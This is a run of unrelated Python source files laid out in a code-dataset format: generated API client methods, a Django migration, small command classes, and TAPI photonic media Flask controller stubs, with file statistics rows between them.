kwargs['submission'] = \
submission
return self.call_with_http_info(**kwargs)
self.moderations_partial_update = _Endpoint(
settings={
'response_type': (Moderation,),
'auth': [
'basicAuth',
'cookieAuth',
'jwtAuth',
'tokenAuth'
],
'endpoint_path': '/moderations/{submission}',
'operation_id': 'moderations_partial_update',
'http_method': 'PATCH',
'servers': None,
},
params_map={
'all': [
'submission',
'patched_moderation',
],
'required': [
'submission',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'submission':
(int,),
'patched_moderation':
(PatchedModeration,),
},
'attribute_map': {
'submission': 'submission',
},
'location_map': {
'submission': 'path',
'patched_moderation': 'body',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json',
'application/x-www-form-urlencoded',
'multipart/form-data'
]
},
api_client=api_client,
callable=__moderations_partial_update
)
def __moderations_retrieve(
self,
submission,
**kwargs
):
"""moderations_retrieve # noqa: E501
Moderation attached to a submission **Permission restrictions:** + `IsAuthenticated`: *Rejects all operations if the user is not authenticated* + `IsOwnerOrStaff`: *Blocks update/partial_updated/destroy if: * the user is NOT in the staff group * AND if the model has a property called 'owner' and its value differs from the request user Everything else is allowed* + `DjangoModelPermissions`: *The request is authenticated using `django.contrib.auth` permissions. See: https://docs.djangoproject.com/en/dev/topics/auth/#permissions It ensures that the user is authenticated, and has the appropriate `add`/`change`/`delete` permissions on the model. This permission can only be applied against view classes that provide a `.queryset` attribute.* # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.moderations_retrieve(submission, async_req=True)
>>> result = thread.get()
Args:
submission (int): A unique value identifying this moderation.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Moderation
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['submission'] = \
submission
return self.call_with_http_info(**kwargs)
self.moderations_retrieve = _Endpoint(
settings={
'response_type': (Moderation,),
'auth': [
'basicAuth',
'cookieAuth',
'jwtAuth',
'tokenAuth'
],
'endpoint_path': '/moderations/{submission}',
'operation_id': 'moderations_retrieve',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'submission',
],
'required': [
'submission',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'submission':
(int,),
},
'attribute_map': {
'submission': 'submission',
},
'location_map': {
'submission': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__moderations_retrieve
)
def __moderations_update(
self,
submission,
**kwargs
):
"""moderations_update # noqa: E501
Moderation attached to a submission **Permission restrictions:** + `IsAuthenticated`: *Rejects all operations if the user is not authenticated* + `IsOwnerOrStaff`: *Blocks update/partial_updated/destroy if: * the user is NOT in the staff group * AND if the model has a property called 'owner' and its value differs from the request user Everything else is allowed* + `DjangoModelPermissions`: *The request is authenticated using `django.contrib.auth` permissions. See: https://docs.djangoproject.com/en/dev/topics/auth/#permissions It ensures that the user is authenticated, and has the appropriate `add`/`change`/`delete` permissions on the model. This permission can only be applied against view classes that provide a `.queryset` attribute.* # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.moderations_update(submission, async_req=True)
>>> result = thread.get()
Args:
submission (int): A unique value identifying this moderation.
Keyword Args:
moderation (Moderation): [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Moderation
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['submission'] = \
submission
return self.call_with_http_info(**kwargs)
self.moderations_update = _Endpoint(
settings={
'response_type': (Moderation,),
'auth': [
'basicAuth',
'cookieAuth',
'jwtAuth',
'tokenAuth'
],
'endpoint_path': '/moderations/{submission}',
'operation_id': 'moderations_update',
'http_method': 'PUT',
'servers': None,
},
params_map={
'all': [
'submission',
'moderation',
],
'required': [
'submission',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'submission':
(int,),
'moderation':
(Moderation,),
},
'attribute_map': {
'submission': 'submission',
},
'location_map': {
'submission': 'path',
'moderation': 'body',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json',
'application/x-www-form-urlencoded',
'multipart/form-data'
]
},
api_client=api_client,
callable=__moderations_update
)
| 41.718905
| 805
| 0.495051
| 2,931
| 33,542
| 5.480382
| 0.084954
| 0.023532
| 0.019424
| 0.020171
| 0.881903
| 0.875864
| 0.869203
| 0.869203
| 0.85202
| 0.85202
| 0
| 0.002948
| 0.423559
| 33,542
| 803
| 806
| 41.770859
| 0.827825
| 0.413839
| 0
| 0.655556
| 1
| 0
| 0.224001
| 0.035671
| 0
| 0
| 0
| 0
| 0
| 1
| 0.012963
| false
| 0
| 0.012963
| 0
| 0.038889
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f2144b21fb753013ede947cf9262571b18620095
| 1,681
|
py
|
Python
|
simplemooc/core/migrations/0036_auto_20181124_1705.py
|
DiegoBrian/Eureka
|
27cf952b27af7fc8cfcc797dffc43a92c9a16d15
|
[
"MIT"
] | null | null | null |
simplemooc/core/migrations/0036_auto_20181124_1705.py
|
DiegoBrian/Eureka
|
27cf952b27af7fc8cfcc797dffc43a92c9a16d15
|
[
"MIT"
] | null | null | null |
simplemooc/core/migrations/0036_auto_20181124_1705.py
|
DiegoBrian/Eureka
|
27cf952b27af7fc8cfcc797dffc43a92c9a16d15
|
[
"MIT"
] | null | null | null |
# Generated by Django 2.0.1 on 2018-11-24 19:05
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0035_usuario_pergunta_comment'),
]
operations = [
migrations.AddField(
model_name='aula',
name='exercise_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='core.Exercicio'),
),
migrations.AddField(
model_name='aula',
name='experimentation_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='core.Experimentacao'),
),
migrations.AddField(
model_name='exercicio',
name='class_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='core.Aula'),
),
migrations.AddField(
model_name='exercicio',
name='experimentation_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='core.Experimentacao'),
),
migrations.AddField(
model_name='experimentacao',
name='class_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='core.Aula'),
),
migrations.AddField(
model_name='experimentacao',
name='exercise_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='core.Exercicio'),
),
]
| 37.355556
| 130
| 0.624628
| 184
| 1,681
| 5.592391
| 0.23913
| 0.062196
| 0.095238
| 0.14966
| 0.824101
| 0.824101
| 0.719145
| 0.719145
| 0.719145
| 0.719145
| 0
| 0.01502
| 0.247472
| 1,681
| 44
| 131
| 38.204545
| 0.798419
| 0.02677
| 0
| 0.789474
| 1
| 0
| 0.149939
| 0.017748
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.052632
| 0
| 0.131579
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f2156e7b0a067f64e131a7e3ff42a841e77e3c09
| 1,838
|
py
|
Python
|
murpy/commands/operators/math.py
|
eisterman/MurPy
|
06f6eee07cee7ac51230a81bacf159af4b8a7517
|
[
"MIT"
] | 3
|
2019-10-10T10:34:38.000Z
|
2021-02-16T21:06:45.000Z
|
murpy/commands/operators/math.py
|
eisterman/BFPyCompiler
|
06f6eee07cee7ac51230a81bacf159af4b8a7517
|
[
"MIT"
] | null | null | null |
murpy/commands/operators/math.py
|
eisterman/BFPyCompiler
|
06f6eee07cee7ac51230a81bacf159af4b8a7517
|
[
"MIT"
] | null | null | null |
from .. import InterfaceObj, NestedInterfaceObj
from ...core.operations.math import AdditionOp, SubtractionOp, MultiplicationOp
class ADD(InterfaceObj, NestedInterfaceObj):
"""
This command will sum two variable using a Registry as output.
This command is a NestedInterfaceObj.
"""
def __init__(self, name1, name2):
"""
This command will sum two variable using a Registry as output.
This command is a NestedInterfaceObj.
:param name1: First member
:param name2: Second member
"""
super().__init__()
self._OPERATION = AdditionOp(name1, name2)
class SUB(InterfaceObj, NestedInterfaceObj):
"""
This command will subtract two variable using a Registry as output.
The algorithm is classical progressive subtraction.
This command is a NestedInterfaceObj.
"""
def __init__(self, name1, name2):
"""
This command will sum two variable using a Registry as output.
This command is a NestedInterfaceObj.
:param name1: First member
:param name2: Second member
"""
super().__init__()
self._OPERATION = SubtractionOp(name1, name2)
class MUL(InterfaceObj, NestedInterfaceObj):
"""
This command will multiply two variable using a Registry as output.
The algorithm use heavily the registry for the operations.
This command is a NestedInterfaceObj.
"""
def __init__(self, name1, name2):
"""
This command will multiply two variable using a Registry as output.
The algorithm use heavily the registry for the operations.
This command is a NestedInterfaceObj.
:param name1: First member
:param name2: Second member
"""
super().__init__()
self._OPERATION = MultiplicationOp(name1, name2)
| 34.037037
| 79
| 0.66975
| 204
| 1,838
| 5.901961
| 0.230392
| 0.109635
| 0.074751
| 0.084718
| 0.799834
| 0.712625
| 0.712625
| 0.712625
| 0.712625
| 0.675249
| 0
| 0.013226
| 0.259521
| 1,838
| 53
| 80
| 34.679245
| 0.871418
| 0.519587
| 0
| 0.428571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.214286
| false
| 0
| 0.142857
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
481eaff30fe7dc06e981b7fe4975b7fc202d9641
| 85
|
py
|
Python
|
app/blueprints/financial_report/__init__.py
|
matheusnalmeida/Sistema-de-transporte-de-passageiros
|
e7c67586af0f814def990690a8389ca90d64fba0
|
[
"MIT"
] | null | null | null |
app/blueprints/financial_report/__init__.py
|
matheusnalmeida/Sistema-de-transporte-de-passageiros
|
e7c67586af0f814def990690a8389ca90d64fba0
|
[
"MIT"
] | null | null | null |
app/blueprints/financial_report/__init__.py
|
matheusnalmeida/Sistema-de-transporte-de-passageiros
|
e7c67586af0f814def990690a8389ca90d64fba0
|
[
"MIT"
] | null | null | null |
from app.blueprints.financial_report.view import financial_report as financial_report
| 85
| 85
| 0.905882
| 12
| 85
| 6.166667
| 0.666667
| 0.608108
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058824
| 85
| 1
| 85
| 85
| 0.925
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
485c306994254672e0691a5ec7a0ee57c5023c13
| 98
|
py
|
Python
|
core/util.py
|
rogan811/informant
|
9098bf45950e81bddd377714b6b14b50f53d3ba0
|
[
"Apache-2.0"
] | null | null | null |
core/util.py
|
rogan811/informant
|
9098bf45950e81bddd377714b6b14b50f53d3ba0
|
[
"Apache-2.0"
] | null | null | null |
core/util.py
|
rogan811/informant
|
9098bf45950e81bddd377714b6b14b50f53d3ba0
|
[
"Apache-2.0"
] | null | null | null |
import time
# Get current time in ms
def get_time():
return int(round(time.time() * 1000))
| 12.25
| 41
| 0.663265
| 16
| 98
| 4
| 0.6875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.051948
| 0.214286
| 98
| 7
| 42
| 14
| 0.779221
| 0.22449
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
486b50fde8cc4be0faa739738c0da041634a7fec
| 88,036
|
py
|
Python
|
RI/flask_server/tapi_server/controllers/tapi_photonic_media_controller.py
|
arthurMll/TAPI
|
e1171bb139c6791a953af09cfc2bc7ad928da73d
|
[
"Apache-2.0"
] | 57
|
2018-04-09T08:56:18.000Z
|
2022-03-23T08:31:06.000Z
|
RI/flask_server/tapi_server/controllers/tapi_photonic_media_controller.py
|
arthurMll/TAPI
|
e1171bb139c6791a953af09cfc2bc7ad928da73d
|
[
"Apache-2.0"
] | 143
|
2016-06-08T04:09:54.000Z
|
2018-02-23T10:45:59.000Z
|
RI/flask_server/tapi_server/controllers/tapi_photonic_media_controller.py
|
arthurMll/TAPI
|
e1171bb139c6791a953af09cfc2bc7ad928da73d
|
[
"Apache-2.0"
] | 64
|
2018-03-07T07:55:17.000Z
|
2022-03-28T07:14:28.000Z
|
import connexion
import six
from tapi_server.models.tapi_photonic_media_application_identifier import TapiPhotonicMediaApplicationIdentifier # noqa: E501
from tapi_server.models.tapi_photonic_media_central_frequency import TapiPhotonicMediaCentralFrequency # noqa: E501
from tapi_server.models.tapi_photonic_media_fec_properties_pac import TapiPhotonicMediaFecPropertiesPac # noqa: E501
from tapi_server.models.tapi_photonic_media_frequency_constraint import TapiPhotonicMediaFrequencyConstraint # noqa: E501
from tapi_server.models.tapi_photonic_media_laser_properties_pac import TapiPhotonicMediaLaserPropertiesPac # noqa: E501
from tapi_server.models.tapi_photonic_media_media_channel_assembly_spec import TapiPhotonicMediaMediaChannelAssemblySpec # noqa: E501
from tapi_server.models.tapi_photonic_media_media_channel_connection_end_point_spec import TapiPhotonicMediaMediaChannelConnectionEndPointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_media_channel_node_edge_point_spec import TapiPhotonicMediaMediaChannelNodeEdgePointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_media_channel_pool_capability_pac import TapiPhotonicMediaMediaChannelPoolCapabilityPac # noqa: E501
from tapi_server.models.tapi_photonic_media_media_channel_properties_pac import TapiPhotonicMediaMediaChannelPropertiesPac # noqa: E501
from tapi_server.models.tapi_photonic_media_media_channel_service_interface_point_spec import TapiPhotonicMediaMediaChannelServiceInterfacePointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_ots_connection_end_point_spec import TapiPhotonicMediaOtsConnectionEndPointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_assembly_connection_end_point_spec import TapiPhotonicMediaOtsiAssemblyConnectionEndPointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_capability_pac import TapiPhotonicMediaOtsiCapabilityPac # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_connection_end_point_spec import TapiPhotonicMediaOtsiConnectionEndPointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_connectivity_service_end_point_spec import TapiPhotonicMediaOtsiConnectivityServiceEndPointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_gserver_adaptation_pac import TapiPhotonicMediaOtsiGserverAdaptationPac # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_service_interface_point_spec import TapiPhotonicMediaOtsiServiceInterfacePointSpec # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_termination_config_pac import TapiPhotonicMediaOtsiTerminationConfigPac # noqa: E501
from tapi_server.models.tapi_photonic_media_otsi_termination_pac import TapiPhotonicMediaOtsiTerminationPac # noqa: E501
from tapi_server.models.tapi_photonic_media_power_properties_pac import TapiPhotonicMediaPowerPropertiesPac # noqa: E501
from tapi_server.models.tapi_photonic_media_spectrum_band import TapiPhotonicMediaSpectrumBand # noqa: E501
from tapi_server.models.tapi_photonic_media_total_power_threshold_pac import TapiPhotonicMediaTotalPowerThresholdPac # noqa: E501
from tapi_server import util
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_delete
removes tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_get
returns tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaMediaChannelServiceInterfacePointSpec
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, local_id, upper_frequency, lower_frequency): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param upper_frequency: Id of available-spectrum
:type upper_frequency: int
:param lower_frequency: Id of available-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_get(uuid, local_id, upper_frequency, lower_frequency): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_available_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param upper_frequency: Id of available-spectrum
:type upper_frequency: int
:param lower_frequency: Id of available-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_get
returns tapi.photonic.media.MediaChannelPoolCapabilityPac # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaMediaChannelPoolCapabilityPac
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, local_id, upper_frequency, lower_frequency): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param upper_frequency: Id of occupied-spectrum
:type upper_frequency: int
:param lower_frequency: Id of occupied-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_get(uuid, local_id, upper_frequency, lower_frequency): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_occupied_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param upper_frequency: Id of occupied-spectrum
:type upper_frequency: int
:param lower_frequency: Id of occupied-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_frequency_constraint_get(uuid, local_id, upper_frequency, lower_frequency): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_frequency_constraint_get
returns tapi.photonic.media.FrequencyConstraint # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param upper_frequency: Id of supportable-spectrum
:type upper_frequency: int
:param lower_frequency: Id of supportable-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaFrequencyConstraint
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_get(uuid, local_id, upper_frequency, lower_frequency): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_mc_pool_supportable_spectrumupper_frequencylower_frequency_get
returns tapi.photonic.media.SpectrumBand # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param upper_frequency: Id of supportable-spectrum
:type upper_frequency: int
:param lower_frequency: Id of supportable-spectrum
:type lower_frequency: int
:rtype: TapiPhotonicMediaSpectrumBand
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_post(uuid, local_id, tapi_photonic_media_media_channel_service_interface_point_spec=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_post
creates tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_media_channel_service_interface_point_spec: tapi.photonic.media.MediaChannelServiceInterfacePointSpec to be added to list
:type tapi_photonic_media_media_channel_service_interface_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_media_channel_service_interface_point_spec = TapiPhotonicMediaMediaChannelServiceInterfacePointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_put(uuid, local_id, tapi_photonic_media_media_channel_service_interface_point_spec=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_media_channel_service_interface_point_spec_put
creates or updates tapi.photonic.media.MediaChannelServiceInterfacePointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_media_channel_service_interface_point_spec: tapi.photonic.media.MediaChannelServiceInterfacePointSpec to be added or updated
:type tapi_photonic_media_media_channel_service_interface_point_spec: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_media_channel_service_interface_point_spec = TapiPhotonicMediaMediaChannelServiceInterfacePointSpec.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_delete
removes tapi.photonic.media.OtsiConnectivityServiceEndPointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_get
returns tapi.photonic.media.OtsiConnectivityServiceEndPointSpec # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaOtsiConnectivityServiceEndPointSpec
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_delete(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_delete
removes tapi.photonic.media.ApplicationIdentifier # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: None
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_get(uuid, local_id): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_get
returns tapi.photonic.media.ApplicationIdentifier # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:rtype: TapiPhotonicMediaApplicationIdentifier
"""
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_post(uuid, local_id, tapi_photonic_media_application_identifier=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_post
creates tapi.photonic.media.ApplicationIdentifier # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
:param tapi_photonic_media_application_identifier: tapi.photonic.media.ApplicationIdentifier to be added to list
:type tapi_photonic_media_application_identifier: dict | bytes
:rtype: None
"""
if connexion.request.is_json:
tapi_photonic_media_application_identifier = TapiPhotonicMediaApplicationIdentifier.from_dict(connexion.request.get_json()) # noqa: E501
return 'do some magic!'
def data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_put(uuid, local_id, tapi_photonic_media_application_identifier=None): # noqa: E501
"""data_context_connectivity_context_connectivity_serviceuuid_end_pointlocal_id_otsi_connectivity_service_end_point_spec_otsi_config_application_identifier_put
creates or updates tapi.photonic.media.ApplicationIdentifier # noqa: E501
:param uuid: Id of connectivity-service
:type uuid: str
:param local_id: Id of end-point
:type local_id: str
